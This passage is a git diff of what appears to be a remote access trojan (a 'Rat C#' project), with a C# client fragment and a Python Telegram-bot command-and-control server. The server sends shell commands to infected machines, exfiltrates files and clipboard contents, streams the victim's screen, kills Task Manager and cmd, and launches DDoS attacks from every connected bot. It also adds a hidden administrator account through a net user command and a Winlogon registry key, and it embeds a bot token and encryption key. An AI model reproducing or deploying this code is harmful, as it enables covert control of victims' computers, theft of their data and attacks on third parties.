extern IntPtr GetWindowDC(IntPtr hWnd); + [DllImport("user32.dll")] + public static extern IntPtr ReleaseDC(IntPtr hWnd, IntPtr hDC); + [DllImport("user32.dll")] + public static extern IntPtr GetWindowRect(IntPtr hWnd, ref RECT rect); + + } + } + + + + public class MyService : WebSocketBehavior + { + private static ConcurrentDictionary _sessions = new ConcurrentDictionary(); + private static int _nextSessionId = 0; + + private int _sessionId; + + public MyService() + { + _sessionId = Interlocked.Increment(ref _nextSessionId); + _sessions[_sessionId] = this; + } + + protected override void OnClose(CloseEventArgs e) + { + _sessions.TryRemove(_sessionId, out var _); + base.OnClose(e); + } + + public static void SendToAll(byte[] data) + { + foreach (var session in _sessions.Values) + { + session.Send(data); + } + } + } + + //ProcessProtection.Protect(); + //Console.WriteLine("Process is now protected: " + ProcessProtection.IsProtected); + + // Wait for 5 seconds + //Thread.Sleep(15000); + + //ProcessProtection.Unprotect(); + + +} \ No newline at end of file diff --git a/C# Part/Properties/PublishProfiles/FolderProfile.pubxml b/C# Part/Properties/PublishProfiles/FolderProfile.pubxml new file mode 100644 index 0000000..95eb839 --- /dev/null +++ b/C# Part/Properties/PublishProfiles/FolderProfile.pubxml @@ -0,0 +1,18 @@ + + + + + Release + Any CPU + D:\Projects\Rat C#\App\bin\Release\net6.0\publish\win-x64 + FileSystem + <_TargetId>Folder + net6.0 + false + win-x64 + true + false + + \ No newline at end of file diff --git a/C# Part/Properties/PublishProfiles/FolderProfile.pubxml.user b/C# Part/Properties/PublishProfiles/FolderProfile.pubxml.user new file mode 100644 index 0000000..6e2251c --- /dev/null +++ b/C# Part/Properties/PublishProfiles/FolderProfile.pubxml.user @@ -0,0 +1,10 @@ + + + + + True|2023-05-24T17:08:29.2090276Z;True|2023-05-24T10:04:57.4166415-07:00;True|2023-05-24T10:04:51.1404574-07:00;True|2023-05-24T10:04:32.5925928-07:00;False|2023-05-24T10:03:41.4243104-07:00;True|2023-05-10T11:03:40.0814181-07:00;True|2023-05-10T11:02:22.3674115-07:00;True|2023-05-08T23:11:30.6063828-07:00;True|2023-05-08T22:25:59.4673959-07:00;True|2023-05-08T22:25:21.3407209-07:00;False|2023-05-08T14:23:41.2681706-07:00;True|2023-05-08T14:18:06.4378630-07:00;True|2023-05-08T14:12:31.4179261-07:00;True|2023-05-08T14:11:35.2342667-07:00;True|2023-05-08T14:03:43.2946469-07:00;True|2023-05-08T13:45:24.4953750-07:00;True|2023-05-08T13:44:28.6811220-07:00;True|2023-05-08T08:01:56.9980671-07:00;True|2023-05-08T08:00:46.7132199-07:00;True|2023-05-08T07:52:09.9870777-07:00;True|2023-05-08T07:41:41.7723846-07:00;True|2023-05-08T07:25:51.6215266-07:00;True|2023-05-08T07:25:25.4940830-07:00;True|2023-05-08T07:17:45.6378288-07:00;True|2023-05-08T07:08:24.8294288-07:00;True|2023-05-08T06:53:01.4161451-07:00;True|2023-05-08T06:45:11.9005066-07:00;True|2023-05-08T06:38:52.0733429-07:00;True|2023-05-08T05:19:07.5307755-07:00;True|2023-05-08T01:08:59.9998620-07:00;True|2023-05-08T00:57:37.0877038-07:00;True|2023-05-08T00:55:33.3368067-07:00;True|2023-05-08T00:46:02.8537665-07:00;True|2023-05-08T00:45:23.3760144-07:00;True|2023-05-08T00:35:41.5892822-07:00;True|2023-05-07T00:25:53.3175478-07:00;True|2023-05-07T00:21:24.0559936-07:00;True|2023-05-07T00:18:22.2986807-07:00;True|2023-05-07T00:13:11.3087269-07:00;True|2023-05-06T23:47:03.7815562-07:00;True|2023-05-06T05:06:32.6042416-07:00;True|2023-05-06T05:05:16.2581428-07:00;True|2023-05-06T05:02:36.9126615-07:00;True|2023-05-06T05:01:13.8410602-07:00;True|2023-05-06T04:58:48.9132638-07:00;True|2023-05-06T04:54:27.6040243-07:00;True|2023-05-06T04:28:28.5047545-07:00;True|2023-05-05T07:21:41.6196949-07:00;True|2023-05-05T07:18:36.5774126-07:00;True|2023-05-05T07:16:54.7152942-07:00;False|2023-05-05T07:16:10.9800757-07:00;True|2023-05-05T07:12:53.6899598-07:00;True|2023-05-05T07:12:33.3405263-07:00;True|2023-05-03T22:13:21.9376267-07:00;False|2023-05-03T22:12:53.1183702-07:00;True|2023-05-03T10:15:20.6123890-07:00;True|2023-05-03T10:14:03.5591956-07:00;True|2023-05-03T09:04:30.5309458-07:00;True|2023-05-03T08:34:44.0474972-07:00;True|2023-05-03T08:25:23.7275669-07:00;True|2023-05-03T08:24:31.1288342-07:00;True|2023-05-03T08:23:21.2626800-07:00;True|2023-05-03T08:20:45.0622942-07:00;True|2023-05-03T08:16:42.3025315-07:00;True|2023-05-03T08:16:18.4802733-07:00;True|2023-05-03T08:15:25.4162136-07:00;True|2023-05-03T08:13:45.0302447-07:00;True|2023-05-03T08:13:24.4974167-07:00;True|2023-05-03T07:43:39.8408848-07:00;True|2023-05-03T07:39:23.8241476-07:00; + + + \ No newline at end of file diff --git a/C# Part/Rdcentraldb.tlb b/C# Part/Rdcentraldb.tlb new file mode 100644 index 0000000..eb76578 Binary files /dev/null and b/C# Part/Rdcentraldb.tlb differ diff --git a/C# Part/SearchAPI.tlb b/C# Part/SearchAPI.tlb new file mode 100644 index 0000000..f66bfeb Binary files /dev/null and b/C# Part/SearchAPI.tlb differ diff --git a/C# Part/SensEvts.Tlb b/C# Part/SensEvts.Tlb new file mode 100644 index 0000000..5b45a56 Binary files /dev/null and b/C# Part/SensEvts.Tlb differ diff --git a/C# Part/StdOle2.Tlb b/C# Part/StdOle2.Tlb new file mode 100644 index 0000000..3e6b583 Binary files /dev/null and b/C# Part/StdOle2.Tlb differ diff --git a/C# Part/WdsTptMgmt.tlb b/C# Part/WdsTptMgmt.tlb new file mode 100644 index 0000000..2bcfcc0 Binary files /dev/null and b/C# Part/WdsTptMgmt.tlb differ diff --git a/C# Part/exdisp.tlb b/C# Part/exdisp.tlb new file mode 100644 index 0000000..f3e1dd4 Binary files /dev/null and b/C# Part/exdisp.tlb differ diff --git a/C# Part/faxcomex.tlb b/C# Part/faxcomex.tlb new file mode 100644 index 0000000..999f8c9 Binary files /dev/null and b/C# Part/faxcomex.tlb differ diff --git a/C# Part/hxhelppaneproxy.tlb b/C# Part/hxhelppaneproxy.tlb new file mode 100644 index 0000000..be54753 Binary files /dev/null and b/C# Part/hxhelppaneproxy.tlb differ diff --git a/C# Part/iextag.tlb b/C# Part/iextag.tlb new file mode 100644 index 0000000..b284f8b Binary files /dev/null and b/C# Part/iextag.tlb differ diff --git a/C# Part/imapi2.tlb b/C# Part/imapi2.tlb new file mode 100644 index 0000000..b45fcef Binary files /dev/null and b/C# Part/imapi2.tlb differ diff --git a/C# Part/imapi2fs.tlb b/C# Part/imapi2fs.tlb new file mode 100644 index 0000000..1d56488 Binary files /dev/null and b/C# Part/imapi2fs.tlb differ diff --git a/C# Part/mbnapi.tlb b/C# Part/mbnapi.tlb new file mode 100644 index 0000000..897c8eb Binary files /dev/null and b/C# Part/mbnapi.tlb differ diff --git a/C# Part/mqoa.tlb b/C# Part/mqoa.tlb new file mode 100644 index 0000000..523c743 Binary files /dev/null and b/C# Part/mqoa.tlb differ diff --git a/C# Part/msclus.tlb b/C# Part/msclus.tlb new file mode 100644 index 0000000..62ec331 Binary files /dev/null and b/C# Part/msclus.tlb differ diff --git a/C# Part/msdatsrc.tlb b/C# Part/msdatsrc.tlb new file mode 100644 index 0000000..69dc8c4 Binary files /dev/null and b/C# Part/msdatsrc.tlb differ diff --git a/C# Part/msfeeds.tlb b/C# Part/msfeeds.tlb new file mode 100644 index 0000000..0e020ee Binary files /dev/null and b/C# Part/msfeeds.tlb differ diff --git a/C# Part/rdpencomapi.tlb b/C# Part/rdpencomapi.tlb new file mode 100644 index 0000000..2451680 Binary files /dev/null and b/C# Part/rdpencomapi.tlb differ diff --git a/C# Part/rendezvoussession.tlb b/C# Part/rendezvoussession.tlb new file mode 100644 index 0000000..57d9830 Binary files /dev/null and b/C# Part/rendezvoussession.tlb differ diff --git a/C# Part/simpdata.tlb b/C# Part/simpdata.tlb new file mode 100644 index 0000000..f545a83 Binary files /dev/null and b/C# Part/simpdata.tlb differ diff --git a/C# Part/tsuserex.tlb b/C# Part/tsuserex.tlb new file mode 100644 index 0000000..7ff5656 Binary files /dev/null and b/C# Part/tsuserex.tlb differ diff --git a/C# Part/wdsClientAPI.LIB b/C# Part/wdsClientAPI.LIB new file mode 100644 index 0000000..68c93d3 Binary files /dev/null and b/C# Part/wdsClientAPI.LIB differ diff --git a/C# Part/wkspbkax.tlb b/C# Part/wkspbkax.tlb new file mode 100644 index 0000000..40e0877 Binary files /dev/null and b/C# Part/wkspbkax.tlb differ diff --git a/C# Part/workspace.tlb b/C# Part/workspace.tlb new file mode 100644 index 0000000..2278d74 Binary files /dev/null and b/C# Part/workspace.tlb differ diff --git a/C# Part/workspaceruntime.tlb b/C# Part/workspaceruntime.tlb new file mode 100644 index 0000000..71aee77 Binary files /dev/null and b/C# Part/workspaceruntime.tlb differ diff --git a/C# Part/wsmandisp.tlb b/C# Part/wsmandisp.tlb new file mode 100644 index 0000000..0c2ec5a Binary files /dev/null and b/C# Part/wsmandisp.tlb differ diff --git a/PythonPart/AES.py b/PythonPart/AES.py new file mode 100644 index 0000000..af9f022 --- /dev/null +++ b/PythonPart/AES.py @@ -0,0 +1,27 @@ +from Crypto.Cipher import AES +from Crypto.Util.Padding import pad, unpad +import base64 + +class Crypt: + def __init__(self,key): + self.key = key + + def encrypt(self,plaintext): + key = self.key.encode() + plaintext = plaintext.encode() + iv = "A+.8(SASD@#^DFAE" + iv = iv.encode() + cipher = AES.new(key, AES.MODE_CBC, iv) + ciphertext = cipher.encrypt(pad(plaintext, AES.block_size)) + return base64.b64encode(ciphertext).decode('utf-8') + + + def decrypt(self,encoded_text): + key = self.key.encode() + ciphertext = base64.b64decode(encoded_text) + iv = "A+.8(SASD@#^DFAE" + iv = iv.encode() + cipher = AES.new(key, AES.MODE_CBC, iv) + plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size) + return plaintext.decode('utf-8') + diff --git a/PythonPart/config.py b/PythonPart/config.py new file mode 100644 index 0000000..95701dc --- /dev/null +++ b/PythonPart/config.py @@ -0,0 +1,5 @@ +PORT = 445 +HOST = '0.0.0.0' +ssl_keyfile = "/etc/letsencrypt/live/domain.com/privkey.pem" +ssl_certfile = "/etc/letsencrypt/live/domain.com/fullchain.pem" +TOKEN = "614068:AAFkCd9U4JRqn1JEbfh1qEg" \ No newline at end of file diff --git a/PythonPart/functions.py b/PythonPart/functions.py new file mode 100644 index 0000000..74fef64 --- /dev/null +++ b/PythonPart/functions.py @@ -0,0 +1,210 @@ +#-*- coding: utf-8 -*- + +import pytz +from datetime import datetime +import datetime as dt +import requests +from AES import Crypt +import json +import unicodedata +from config import * +from telegram import InlineKeyboardButton, InlineKeyboardMarkup +import aiofiles +import base64 + +AES_obj = Crypt("%Mq3t*&1T$C&F)JH") + +class Color: + clean = "\033[0m" + red = "\033[91m" + green = "\033[92m" + yellow = "\033[93m" + blue = "\033[94m" + purpule = "\033[95m" + cyan = "\033[96m" + +def colorize(color,text): + return f"{color}{text}{Color.clean}" + +def GetTime(): + tz = pytz.timezone('Asia/Tehran') + full_time = datetime.now(tz) + time_iran = full_time.strftime('%H:%M:%S') + date = Jalali(full_time.strftime("%Y-%m-%d")) + return colorize(Color.cyan,f"{date} {time_iran}") + +def Jalali(timeframe): + gy, gm, gd = timeframe.split("-") + gy, gm, gd = int(gy), int(gm), int(gd) + g_d_m = [0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334] + if (gm > 2): + gy2 = gy + 1 + else: + gy2 = gy + days = 355666 + (365 * gy) + ((gy2 + 3) // 4) - ((gy2 + 99) // 100) + ((gy2 + 399) // 400) + gd + g_d_m[gm - 1] + jy = -1595 + (33 * (days // 12053)) + days %= 12053 + jy += 4 * (days // 1461) + days %= 1461 + if (days > 365): + jy += (days - 1) // 365 + days = (days - 1) % 365 + if (days < 186): + jm = 1 + (days // 31) + jd = 1 + (days % 31) + else: + jm = 7 + ((days - 186) // 30) + jd = 1 + ((days - 186) % 30) + + jy, jm, jd = str(jy), str(jm), str(jd) + if len(jm) == 1: + jm = "0"+jm + elif len(jd) == 1: + jd = "0"+jm + return f"{jy}-{jm}-{jd}" + + +def decode(text) -> dict: + data_base64 = AES_obj.decrypt(text) + return json.loads(data_base64) + +def encode(json_data) -> str: + data_base64 = AES_obj.encrypt(json.dumps(json_data,indent=4)) + return data_base64 + +def convert_to_fancy_text(text): + fancy_text = "" + for c in str(text): + try: + fancy_c = unicodedata.lookup("".join(["LATIN LETTER SMALL CAPITAL ", c.upper()])) + fancy_text += fancy_c + except KeyError: + fancy_text += c + return fancy_text + + +def get_flag(unicode): + """ + Get the flag emoji for a given unicode string representing a country code. + """ + OFFSET = 127397 + codepoints = [ord(char) + OFFSET for char in unicode.upper()] + return chr(codepoints[0]) + ''.join([chr(c) for c in codepoints[1:]]) + +def connectFrame(ip,list_data): + url = f"http://ip-api.com/json/{ip}" + response = requests.get(url).json() + + if response["status"] == "success": + country = convert_to_fancy_text(response["country"])+" "+get_flag(response['countryCode']) + curr_time = dt.datetime.now() + time_str = convert_to_fancy_text(curr_time.strftime("%Y-%m-%d %H:%M:%S")) + topic = convert_to_fancy_text("New Client Connected") + "⚡️" + # Get the length of the longest string + ip = f"`{ip}`" + longest_str_len = max(len(str(value)) for value in list_data.values()) + + # Define the frame using the longest string length + frame = f"┏{'━' * (longest_str_len - 18)}┓\n" \ + f" {topic:<{longest_str_len + 4}} \n" \ + f" ɪᴘ: {ip:<{longest_str_len + 18}} \n" \ + f" ᴄᴏᴜɴᴛʀʏ: {country:<{longest_str_len +3}} \n" \ + f" ᴛɪᴍᴇ: {time_str:<{longest_str_len}} \n" + + for i,m in list_data.items(): + if i == "cpu_usage" and i == "ram_usage": + m += "%" + elif i == "ram_size" and i == "gpu_size" and i == "hard_full_size": + m += "GB" + + i = convert_to_fancy_text(i.replace("_"," ")) + frame += f" {i}: {convert_to_fancy_text(m):<{longest_str_len}} \n" + + frame += f"┗{'━' * (longest_str_len - 18)}┛" + return frame + + else: + return "Error: Invalid IP Address" + +def GetInfoFrame(ip,list_data): + url = f"http://ip-api.com/json/{ip}" + response = requests.get(url).json() + + if response["status"] == "success": + country = convert_to_fancy_text(response["country"]) + curr_time = dt.datetime.now() + time_str = convert_to_fancy_text(curr_time.strftime("%Y-%m-%d %H:%M:%S")) + # Get the length of the longest string + ip = f"`{ip}`" + longest_str_len = max(len(str(value)) for value in list_data.values()) + + # Define the frame using the longest string length + frame = f"┏{'━' * (longest_str_len - 18)}┓\n" \ + f" ɪᴘ: {ip:<{longest_str_len + 18}} \n" \ + f" ᴄᴏᴜɴᴛʀʏ: {country:<{longest_str_len +3}} \n" \ + f" ᴛɪᴍᴇ: {time_str:<{longest_str_len}} \n" + + for i,m in list_data.items(): + if i == "cpu_usage" and i == "ram_usage": + m += "%" + elif i == "ram_size" and i == "gpu_size" and i == "hard_full_size": + m += "GB" + + i = convert_to_fancy_text(i.replace("_"," ")) + frame += f" {i}: {convert_to_fancy_text(m):<{longest_str_len}} \n" + + frame += f"┗{'━' * (longest_str_len - 18)}┛" + return frame + + else: + return "Error: Invalid IP Address" + +def send_message(chat_id, text,ip): + url = f"https://api.telegram.org/bot{TOKEN}/sendMessage" + headers = {'Content-type': 'application/json'} + button = InlineKeyboardButton("ᴏᴘᴇɴ ᴄᴏɴᴛʀᴏʟ ᴘᴀɴᴇʟ", callback_data=f"tgip-{ip}") + reply_markup = InlineKeyboardMarkup([[button]]) + data = json.dumps({'chat_id': chat_id, 'text': text , "parse_mode":"markdown" , "link_preview":False,"reply_markup": reply_markup.to_dict()}) + response = requests.post(url, headers=headers, data=data) + return response.json() + +def edit_message(text, chat_id, message_id,ip): + url = f'https://api.telegram.org/bot{TOKEN}/editMessageText' + + # Create inline button + button = InlineKeyboardButton("ʙᴀᴄᴋ", callback_data=f"tgip-{ip}") + reply_markup = InlineKeyboardMarkup([[button]]) + + # Add reply_markup to payload + payload = { + 'chat_id': chat_id, + 'message_id': message_id, + 'text': text, + "parse_mode": "markdown", + "link_preview": False, + "reply_markup": reply_markup.to_dict() + } + r = requests.post(url, json=payload) + return r.json() + +def read_json_db(): + raw_data = open("data.json",encoding="utf-8").read() + data = json.loads(raw_data) + return data + +def write_json_db(data): + open("data.json",'w',encoding="utf-8").write(json.dumps(data,indent=4)) + return True + + +def send_file(chat_id, file_path): + url = f'https://api.telegram.org/bot{TOKEN}/sendDocument' + + with open(file_path, 'rb') as file: + response = requests.post(url, data={'chat_id': chat_id}, files={'document': file}) + + if response.status_code == 200: + print('File sent successfully.') + else: + print(f'Failed to send file. Error code {response.status_code}: {response.text}') + diff --git a/PythonPart/main.py b/PythonPart/main.py new file mode 100644 index 0000000..e6631a1 --- /dev/null +++ b/PythonPart/main.py @@ -0,0 +1,450 @@ +#-*- coding: utf-8 -*- +from telethon import TelegramClient , events , Button +from functions import * +from config import * +import websockets +import os +import threading +import nest_asyncio +nest_asyncio.apply() +import asyncio +import ssl +from view import * +import base64 + +client = TelegramClient("main",156325,"9273cba9455881a80bb2b65253e").start(bot_token=TOKEN) +print("\t\tTelethon runned.") +connected_websockets = set() +userlocal = {} +admins = [123,123] + +async def websocket_endpoint(websocket, path): + + global connected_websockets + try: + connected_websockets.add(websocket) + while True: + data = await websocket.recv() + try: + data_base64 = AES_obj.decrypt(data) + message = json.loads(data_base64) + ip = websocket.remote_address[0] + if 'x-forwarded-for' in websocket.request_headers: + ip = websocket.request_headers['x-forwarded-for'] + except: + await websocket.close() + finally: + if message['action'] == "start": + text = connectFrame(ip, message['info']) + for i in admins: + send_message(i, text,ip) + elif message['action'] == "cmd": + edit_message("Result:\n"+message['result'],message['user_id'],message['msg_id'],ip) + elif message['action'] == "getinfo": + text = GetInfoFrame(ip, message['info']) + edit_message(text,message['user_id'],message['msg_id'],ip) + elif message['action'] == "savedownload": + data = base64.b64decode(message['data'].encode()) + open(message['path'].split("\\")[-1],'ab').write(data) + elif message['action'] == "enddownload": + send_file(message['user_id'],message['path'].split("\\")[-1]) + os.remove(message['path'].split("\\")[-1]) + elif message['action'] == "lockinput": + text = "ʟᴏᴄᴋɪɴɢ ɪɴᴘᴜᴛ sᴜᴄᴄᴇssғᴜʟʟʏ ᴛᴜʀɴᴇᴅ ᴏɴ ✅" + edit_message(text,message['user_id'],message['msg_id'],ip) + elif message['action'] == "unlockinput": + text = "ʟᴏᴄᴋɪɴɢ ɪɴᴘᴜᴛ sᴜᴄᴄᴇssғᴜʟʟʏ ᴛᴜʀɴᴇᴅ ᴏғғ ✅" + edit_message(text,message['user_id'],message['msg_id'],ip) + elif message['action'] == "getclipboard": + text = "ᴄʟɪᴘʙᴏᴀʀᴅ ᴅᴀᴛᴀ: `" + message['data']+"`" + edit_message(text,message['user_id'],message['msg_id'],ip) + + elif message['action'] == "setclipboard": + text = "ᴄʟɪᴘʙᴏᴀʀᴅ sᴇᴛᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ✅" + edit_message(text,message['user_id'],message['msg_id'],ip) + elif message['action'] == "ddos": + text = "ᴅᴅᴏs sᴇɴᴛ ᴛᴏ ᴛᴀʀɢᴇᴛ 🔥 ᴇɴᴊᴏʏ." + edit_message(text,message['user_id'],message['msg_id'],ip) + elif message['action'] == "streamviewon": + text = """⚡️ ᴛᴀʀɢᴇᴛ sᴛʀᴇᴀᴍɪɴɢ ᴛᴜʀɴᴇᴅ ᴏɴ ⚡️ + +🔥ʏᴏᴜ ᴄᴀɴ ᴡᴀᴛᴄʜ ɪᴛ ʜᴇʀᴇ...""" + open("stream.html",'w').write(FULL_HTML_TEXT.replace("thiswillChange",ip+":5000")) + edit_message(text,message['user_id'],message['msg_id'],ip) + + send_file(message['user_id'],"stream.html") + elif message['action'] == "streamviewoff": + text = """ᴛᴀʀɢᴇᴛ sᴛʀᴇᴀᴍɪɴɢ ᴛᴜʀɴᴇᴅ ᴏғғ ✅""" + edit_message(text,message['user_id'],message['msg_id'],ip) + elif message['action'] == "tskmgrkillon": + text = """ᴛᴀsᴋ ᴍᴀɴᴀɢᴇʀ ᴋɪʟʟᴇʀ ᴛᴜʀɴᴇᴅ ᴏɴ ✅""" + edit_message(text,message['user_id'],message['msg_id'],ip) + + elif message['action'] == "tskmgrkilloff": + text = """ᴛᴀsᴋ ᴍᴀɴᴀɢᴇʀ ᴋɪʟʟᴇʀ ᴛᴜʀɴᴇᴅ ᴏғғ ❌""" + edit_message(text,message['user_id'],message['msg_id'],ip) + + elif message['action'] == "cmdkillon": + text = """Cᴍᴅ ᴋɪʟʟᴇʀ ᴛᴜʀɴᴇᴅ ᴏɴ ✅""" + edit_message(text,message['user_id'],message['msg_id'],ip) + + elif message['action'] == "cmdkillon": + text = """Cᴍᴅ ᴋɪʟʟᴇʀ ᴛᴜʀɴᴇᴅ ᴏғғ ❌""" + edit_message(text,message['user_id'],message['msg_id'],ip) + + except websockets.exceptions.ConnectionClosed: + connected_websockets.remove(websocket) + + +@client.on(events.NewMessage(func=lambda x: x.sender_id in admins)) +async def main(event): + global userlocal , connected_websockets + user_id = event.sender_id + sender = event.sender + chat_id = event.chat_id + first_name = sender.first_name + text = event.text + try: userlocal[user_id] + except: userlocal[user_id] = {"step":None} + if text == "/start": + userlocal[user_id] = {"step":None} + await event.respond(HOME_TEXT,buttons = HOME_BUTTON) + + if userlocal[user_id]['step'] == "GetCommandToShell": + ip = userlocal[user_id]['ip'] + msg = userlocal[user_id]['msg'] + msg = await event.respond("Sᴇᴀʀᴄʜɪɴɢ ғᴏʀ ᴛᴀʀɢᴇᴛ...") + try: + websocket = list(filter(lambda x: x.request_headers['x-forwarded-for'] == ip,connected_websockets))[0] + msg = await msg.edit("Exᴇᴄᴜᴛɪɴɢ...") + await websocket.send(encode( + {"action":"cmd","command":text,"user_id":user_id,"msg_id":msg.id} + )) + + except IndexError: + msg = await msg.edit("ᴛᴀʀɢᴇᴛ ɴᴏᴛ ғᴏᴜɴᴅ.") + + elif userlocal[user_id]['step'] == "GetPathToDownload": + ip = userlocal[user_id]['ip'] + msg = userlocal[user_id]['msg'] + msg = await event.respond("Sᴇᴀʀᴄʜɪɴɢ ғᴏʀ ᴛᴀʀɢᴇᴛ...") + try: + websocket = list(filter(lambda x: x.request_headers['x-forwarded-for'] == ip,connected_websockets))[0] + await msg.edit("ᴅᴏᴡɴʟᴏᴀᴅɪɴɢ...") + await websocket.send(encode({"action":"download","path":text,"user_id":user_id})) + except IndexError: + msg = await msg.edit("ᴛᴀʀɢᴇᴛ ɴᴏᴛ ғᴏᴜɴᴅ.") + + elif userlocal[user_id]['step'] == "GetFileToUplaod": + + await event.respond("ᴇɴᴛᴇʀ ᴘᴀᴛʜ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴜᴘʟᴏᴀᴅ ғɪʟᴇ:") + userlocal[user_id]['step'] = "GetFileToUplaodPath" + userlocal[user_id]['msg_dn'] = event.message + + elif userlocal[user_id]['step'] == "GetFileToUplaodPath": + msgg = userlocal[user_id]['msg_dn'] + msg = await event.respond("ᴅᴏᴡɴʟᴏᴀᴅɪɴɢ...") + download = await client.download_media(msgg) + if text[-1] != "\\": + text += "\\" + msg = await msg.edit("ᴅᴏᴡɴʟᴏᴀᴅ ᴄᴏᴍᴘʟᴇᴛᴇᴅ.") + msg = await event.respond("ᴜᴘʟᴏᴀᴅɪɴɢ ғᴏʀ ᴛᴀʀɢᴇᴛ.") + await event.respond(TG_CONTROL_TEXT,buttons=getControl(ip)) + ip = userlocal[user_id]['ip'] + websocket = list(filter(lambda x: x.request_headers['x-forwarded-for'] == ip,connected_websockets))[0] + with open(download, 'rb') as f: + data = f.read(8192) + while data: + await websocket.send(encode( + {"action": "upload", "data": base64.b64encode(data).decode(), "path": text + download} + )) + data = f.read(8192) + os.remove(download) + + elif userlocal[user_id]['step'] == "SetClipboard": + ip = userlocal[user_id]['ip'] + msg = await event.respond("Sᴇᴀʀᴄʜɪɴɢ ғᴏʀ ᴛᴀʀɢᴇᴛ...") + try: + websocket = list(filter(lambda x: x.request_headers['x-forwarded-for'] == ip,connected_websockets))[0] + await websocket.send(encode( + {"action":"setclipboard","data":text,"user_id":user_id,"msg_id":msg.id} + )) + + except IndexError: + msg = await msg.edit("ᴛᴀʀɢᴇᴛ ɴᴏᴛ ғᴏᴜɴᴅ.",buttons=BACK_BUTTON) + + elif userlocal[user_id]['step'] == "ddos": + ip = userlocal[user_id]['ip'] + msg = await event.respond("Sᴇᴀʀᴄʜɪɴɢ ғᴏʀ ᴛᴀʀɢᴇᴛ...") + try: + url ,tim , thread = text.split(" ") + websocket = list(filter(lambda x: x.request_headers['x-forwarded-for'] == ip,connected_websockets))[0] + await websocket.send(encode( + {"action":"ddos","time":int(tim),"thread":int(thread),"url":url,"user_id":user_id,"msg_id":msg.id} + )) + + except IndexError: + msg = await msg.edit("ᴛᴀʀɢᴇᴛ ɴᴏᴛ ғᴏᴜɴᴅ.",buttons=BACK_BUTTON) + + elif userlocal[user_id]['step'] == "ddoswithall": + msg = await event.respond("Sᴇᴀʀᴄʜɪɴɢ ғᴏʀ ᴛᴀʀɢᴇᴛ...") + try: + url ,tim , thread = text.split(" ") + for ws in connected_websockets: + await ws.send(encode( + {"action":"ddos","time":int(tim),"thread":int(thread),"url":url,"user_id":user_id,"msg_id":msg.id} + )) + + text = "ᴅᴅᴏs sᴇɴᴛ ᴛᴏ ᴛᴀʀɢᴇᴛ 🔥 ᴇɴᴊᴏʏ." + await msg.edit(text) + except IndexError: + msg = await msg.edit("ᴛᴀʀɢᴇᴛ ɴᴏᴛ ғᴏᴜɴᴅ.",buttons=BACK_BUTTON) + + elif userlocal[user_id]['step'] == "GetUserToDelete": + msg = await event.respond("Sᴇᴀʀᴄʜɪɴɢ ғᴏʀ ᴛᴀʀɢᴇᴛ...") + try: + com = f"net user {text} /active:yes && net user {text} /delete" + for ws in connected_websockets: + await ws.send(encode( + {"action":"cmd","command":com,"user_id":user_id,"msg_id":msg.id} + )) + + except IndexError: + msg = await msg.edit("ᴛᴀʀɢᴇᴛ ɴᴏᴛ ғᴏᴜɴᴅ.",buttons=BACK_BUTTON) + + elif userlocal[user_id]['step'] == "GetUserToAdd": + msg = await event.respond("Sᴇᴀʀᴄʜɪɴɢ ғᴏʀ ᴛᴀʀɢᴇᴛ...") + try: + user,passw = text.split(" ") + com = f"net user {user} {passw} /add && net localgroup administrators {user} /add && reg add \"HKLM\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\Userlist\" /v {user} /t REG_DWORD /d 0" + for ws in connected_websockets: + await ws.send(encode( + {"action":"cmd","command":com,"user_id":user_id,"msg_id":msg.id} + )) + except IndexError: + msg = await msg.edit("ᴛᴀʀɢᴇᴛ ɴᴏᴛ ғᴏᴜɴᴅ.",buttons=BACK_BUTTON) + +@client.on(events.CallbackQuery(func=lambda x: x.sender_id in admins)) +async def startMenu(event): + global userlocal , connected_websockets + user_id = event.sender_id + sender = event.sender + chat_id = event.chat_id + data = event.data.decode() + first_name = sender.first_name + try: userlocal[user_id] + except: userlocal[user_id] = {"step":None} + if data == "GetOnlineRequest": + ipsss = [ ws.request_headers['x-forwarded-for'] for ws in connected_websockets] + ipsss = set(ipsss) + all_ips = [ Button.inline(ip,"tgip-"+ip) for ip in ipsss] + small_lists = [all_ips[i:i+2] for i in range(0, len(all_ips), 2)] + small_lists.append(BACK_BUTTON) + await event.edit(LIST_TEXT,buttons = small_lists) + elif data == "back": + userlocal[user_id] = {"step":None} + await event.edit(HOME_TEXT,buttons = HOME_BUTTON) + elif "tgip" == data.split("-")[0]: + userlocal[user_id] = {"step":None} + ip = data.split("-")[1] + await event.edit(TG_CONTROL_TEXT,buttons=getControl(ip)) + elif "shellexec" == data.split("-")[0]: + userlocal[user_id] = {"step":None} + ip = data.split("-")[1] + a1 = await event.edit("ᴇɴᴛᴇʀ ᴄᴏᴍᴍᴀɴᴅ ᴛᴏ ᴇxᴇᴄᴜᴛᴇ ᴏɴ ᴛᴀʀɢᴇᴛ sʏsᴛᴇᴍ:",buttons = Button.clear()) + userlocal[user_id]['step'] = "GetCommandToShell" + userlocal[user_id]['ip'] = ip + userlocal[user_id]['msg'] = a1 + elif "tginforeq" == data.split("-")[0]: + userlocal[user_id] = {"step":None} + msg = await event.edit("Sᴇᴀʀᴄʜɪɴɢ ғᴏʀ ᴛᴀʀɢᴇᴛ...",buttons=BACK_BUTTON) + ip = data.split("-")[1] + try: + websocket = list(filter(lambda x: x.request_headers['x-forwarded-for'] == ip,connected_websockets))[0] + await websocket.send(encode( + {"action":"getinfo","user_id":user_id,"msg_id":msg.id} + )) + except IndexError: + msg = await msg.edit("ᴛᴀʀɢᴇᴛ ɴᴏᴛ ғᴏᴜɴᴅ.") + + elif "download" == data.split("-")[0]: + userlocal[user_id] = {"step":None} + ip = data.split("-")[1] + a1 = await event.edit("ᴇɴᴛᴇʀ ғɪʟᴇ ᴘᴀᴛʜ ᴛᴏ ᴅᴏᴡɴʟᴏᴀᴅ:",buttons = Button.clear()) + userlocal[user_id]['step'] = "GetPathToDownload" + userlocal[user_id]['ip'] = ip + userlocal[user_id]['msg'] = a1 + + elif "upload" == data.split("-")[0]: + userlocal[user_id] = {"step":None} + ip = data.split("-")[1] + a1 = await event.edit("sᴇɴᴅ ғɪʟᴇ ᴛᴏ ᴜᴘʟᴏᴀᴅ:",buttons = Button.clear()) + userlocal[user_id]['step'] = "GetFileToUplaod" + userlocal[user_id]['ip'] = ip + userlocal[user_id]['msg'] = a1 + elif "lockinput" == data.split("-")[0]: + ip = 